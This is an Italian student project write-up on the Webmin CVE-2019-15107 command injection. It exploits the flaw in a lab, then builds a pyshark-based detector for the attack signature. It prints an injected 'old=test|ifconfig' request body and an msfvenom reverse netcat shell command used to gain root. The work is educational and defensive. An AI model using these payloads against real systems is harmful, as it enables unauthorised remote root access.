
progetto scolastico
I. Panoramica su CVE-2019-15107
Webmin è un'interfaccia web per l'amministrazione di sistema per Unix. Utilizzando qualsiasi browser web, è possibile configurare account utente, Apache, DNS, condivisione file e molto altro.
Il 10 agosto 2019, il ricercatore di sicurezza informatica turco Özkan Mustafa Akkuş ha divulgato la vulnerabilità Zero-day al DefCon; oltre alla divulgazione, Akkuş ha anche rilasciato un modulo Metasploit per automatizzare lo sfruttamento di questa vulnerabilità. A causa di una vulnerabilità di esecuzione di codice nella funzione di reimpostazione della password del file password_change.cgi, questa vulnerabilità consente a terzi di eseguire codice dannoso senza autenticazione dell'input.
II. Versioni interessate
Questa vulnerabilità interessa le versioni di Webmin da 1.882 a 1.921. Per prevenire questa vulnerabilità, chi utilizza Webmin dovrebbe aggiornare all'ultima versione 1.93.
III. Analisi della vulnerabilità
In Webmin, la funzionalità "consenti modifica password utente" deve essere abilitata per sfruttare questa vulnerabilità. Questa è l'unica condizione; tuttavia, molti amministratori Webmin attivano questa funzionalità. Essa consente agli utenti di impostare una nuova password con la vecchia password. Nel codice sorgente di Webmin, ci sono diversi file ".cgi" degni di nota. Uno di questi è password_change.cgi.

C'è un solo requisito affinché i parametri in questo file funzionino: il valore "passwd_mode" nel file di configurazione "miniserv.conf" deve essere impostato su "2".

A questo punto, utilizzeremo "|" leggendo il file /etc/shadow durante la verifica della vecchia password. Ad esempio, il comando normale di cambio password:

Se inseriamo un semplice comando come "ifconfig" nel comando di cambio password come mostrato sotto, il comando "ipconfig" viene eseguito e il risultato viene visualizzato.

IV. Modello di deployment
Macchina Ubuntu (vittima) con Webmin versione 1.920 installato, indirizzo IP: 192.168.109.128

Macchina Kali (attaccante) con indirizzo IP: 192.168.109.131

Poiché questa CVE sfrutta la funzionalità di reimpostazione della password quando la vecchia password è scaduta in Webmin, la vittima deve configurare Webmin in modalità "Prompt users with expired password to enter a new one".

V. Sfruttamento della vulnerabilità CVE
Come primo passo, la macchina attaccante utilizza Burp Suite per intercettare le richieste inviate durante il cambio password su Webmin dal link: 192.168.109.128:10000/password_change.cgi (IP della vittima)

Successivamente, la macchina attaccante invia questa richiesta nella scheda Repeater di Burp Suite per testare la vulnerabilità.

L'attaccante modifica alcune informazioni dal pacchetto di richiesta intercettato. Poiché per cambiare password il metodo HTTP deve essere POST e non GET come inizialmente.

Quindi la macchina attaccante invia una richiesta di prova per cambiare password dalla vecchia password al server Webmin della vittima:
“user=test&pam=&old=test&new1=test2&new2=test2”

Quando inviamo la richiesta, riceviamo un messaggio che indica che la vecchia password non corrisponde (The current password is incorrect), quindi il punto cruciale è il parametro “old”
Successivamente, proviamo a inserire un comando di base come ifconfig dopo il parametro old, in modo che quando il server verifica la vecchia password, esegua anche il comando inserito. Ad esempio:
“user=test&pam=&old=test|ifconfig&new1=test2&new2=test2”

Analogamente, quando il server verifica la vecchia password, è ancora errata, ma dopo la verifica, il comando “ifconfig” viene eseguito e visualizzato.
Successivamente, per ottenere i privilegi di root, utilizziamo Metasploit framework per creare un payload da inviare al server Webmin della vittima per ricevere una shell session.
“msfvenom -p cmd/unix/reverse_netcat lhost= lport=”

Successivamente, copiamo il payload e lo inseriamo nella richiesta su Burp Suite.

Dopo aver inviato la richiesta contenente il payload al server Webmin, la macchina vittima viene compromessa con una reverse shell. La macchina attaccante riceve una sessione di shell verso la macchina vittima (IP: 192.168.109.128, porta 37218).

In questo modo, abbiamo ottenuto l'accesso root tramite questa vulnerabilità CVE.

VI. Determinazione della firma dell'attacco
Utilizziamo Wireshark per catturare i pacchetti a livello di rete.

Poiché per sfruttare questa CVE, l'attaccante deve basarsi sul link /password_change.cgi per inviare richieste contenenti payload dannosi tramite il metodo POST di HTTP, dobbiamo analizzare i pacchetti HTTP catturati con Wireshark.

Vediamo che il comando “ifconfig” viene inserito durante la verifica della vecchia password da parte del server Webmin.

Pertanto, determiniamo che la firma di questa CVE sono i parametri passati durante il cambio password tramite il link /password_change.cgi “user=test&pam=&old=test | <comando che l'attaccante vuole eseguire> &new1=test2&new2=test2” VII. Costruzione dello strumento di rilevamento per l'attacco CVE-2019-15107
Come analizzato sopra, l'attaccante per sfruttare questa CVE deve inserire un comando nel parametro old (“vecchia password”) per poter eseguire l'attacco.

Per rilevare chi sta tentando di inserire comandi basati su questa vulnerabilità CVE, dobbiamo catturare e analizzare i pacchetti HTTP inviati utilizzando lo strumento “pyshark”.

I dati nel pacchetto HTTP catturato vengono restituiti in formato esadecimale. Basandoci sul parametro “old=” e su “|”, possiamo sapere se qualcuno sta tentando di sfruttare questa CVE. La funzione checkPayload verifica se il pacchetto HTTP è sospetto.

Successivamente, dopo aver identificato quali pacchetti HTTP sono sospetti, la funzione getCommand stampa i comandi che l'attaccante sta eseguendo.

Il processo di cattura e analisi dei pacchetti viene anche registrato in formato .csv

VIII. Demo del programma
Quando l'attaccante effettua un attacco, il programma emette un avviso in tempo reale.

Quando il programma viene arrestato, registra un file .csv con tutto il traffico catturato durante l'esecuzione (payload http in formato esadecimale)

Il programma registra anche un log degli avvisi di pericolo.

IX. Conclusione Attraverso il processo di apprendimento e lo svolgimento di esercitazioni pratiche in classe, sono riuscito a comprendere in parte il processo di analisi e analisi del malware. Sfruttando e costruendo il programma di rilevamento per la vulnerabilità CVE-2019-15107, ho potuto applicare le conoscenze apprese per analizzare e costruire un programma di rilevamento delle vulnerabilità tramite firme, migliorando così la capacità di analisi, rilevamento e gestione delle informazioni, nonché il monitoraggio della sicurezza di rete.